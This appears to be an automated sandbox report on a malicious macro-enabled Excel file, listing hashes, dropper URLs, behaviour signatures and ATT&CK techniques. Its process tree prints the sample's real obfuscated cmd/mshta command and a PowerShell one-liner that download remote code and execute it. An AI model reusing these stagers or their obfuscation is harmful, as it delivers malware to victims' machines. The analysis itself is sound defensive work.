7429c9e25f9d5b509f78af97a0f595fac9ce8122ad4788c17087360e06521b2f

General

Target

GJEPA_4333.xlsm
Size

49KB
MD5

1b3b9885b4613c3a910d6d48bd960e20
SHA1

51e969103c0b9dc7a30300617e06a6a2f3f98942
SHA256

7429c9e25f9d5b509f78af97a0f595fac9ce8122ad4788c17087360e06521b2f
SHA512

bdd56383eb805539fae845530fe75cc0622cbdabe33c34caece7d8babb429938149962316724dac9f04c5350914ee44a5a746d4523ad3f6e12596fe602533151

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://0xb907d607/fer/fe1.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://185.7.214.7/fer/fe1.png

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3420	2452	cmd.exe	50

Blocklisted process makes network request 1 IoCs

flow	pid	Process
36	1184	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2452	EXCEL.EXE

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
2452	EXCEL.EXE
2452	EXCEL.EXE
2452	EXCEL.EXE
2452	EXCEL.EXE
2452	EXCEL.EXE
2452	EXCEL.EXE
2452	EXCEL.EXE
2452	EXCEL.EXE
2452	EXCEL.EXE
2452	EXCEL.EXE
2452	EXCEL.EXE
2452	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 2452 wrote to memory of 3420	2452	EXCEL.EXE	55
PID 2452 wrote to memory of 3420	2452	EXCEL.EXE	55
PID 3420 wrote to memory of 1184	3420	cmd.exe	57
PID 3420 wrote to memory of 1184	3420	cmd.exe	57

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\GJEPA_4333.xlsm"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2452
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe1.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:3420
- - C:\Windows\system32\mshta.exe
    mshta http://0xb907d607/fer/fe1.html
    3⤵
    - Blocklisted process makes network request
    PID:1184
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fe1.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      PID:2660

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p
1⤵
PID:3732

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 428 -p 1184 -ip 1184
1⤵
PID:2436

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

3

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/2452-133-0x00007FFF2BA10000-0x00007FFF2BA20000-memory.dmp

Filesize
64KB

Download
memory/2452-134-0x00007FFF2BA10000-0x00007FFF2BA20000-memory.dmp

Filesize
64KB

Download
memory/2452-135-0x00007FFF2BA10000-0x00007FFF2BA20000-memory.dmp

Filesize
64KB

Download
memory/2452-136-0x00007FFF2BA10000-0x00007FFF2BA20000-memory.dmp

Filesize
64KB

Download
memory/2452-137-0x00007FFF2BA10000-0x00007FFF2BA20000-memory.dmp

Filesize
64KB

Download
memory/2452-140-0x00007FFF29630000-0x00007FFF29640000-memory.dmp

Filesize
64KB

Download
memory/2452-141-0x00007FFF29630000-0x00007FFF29640000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads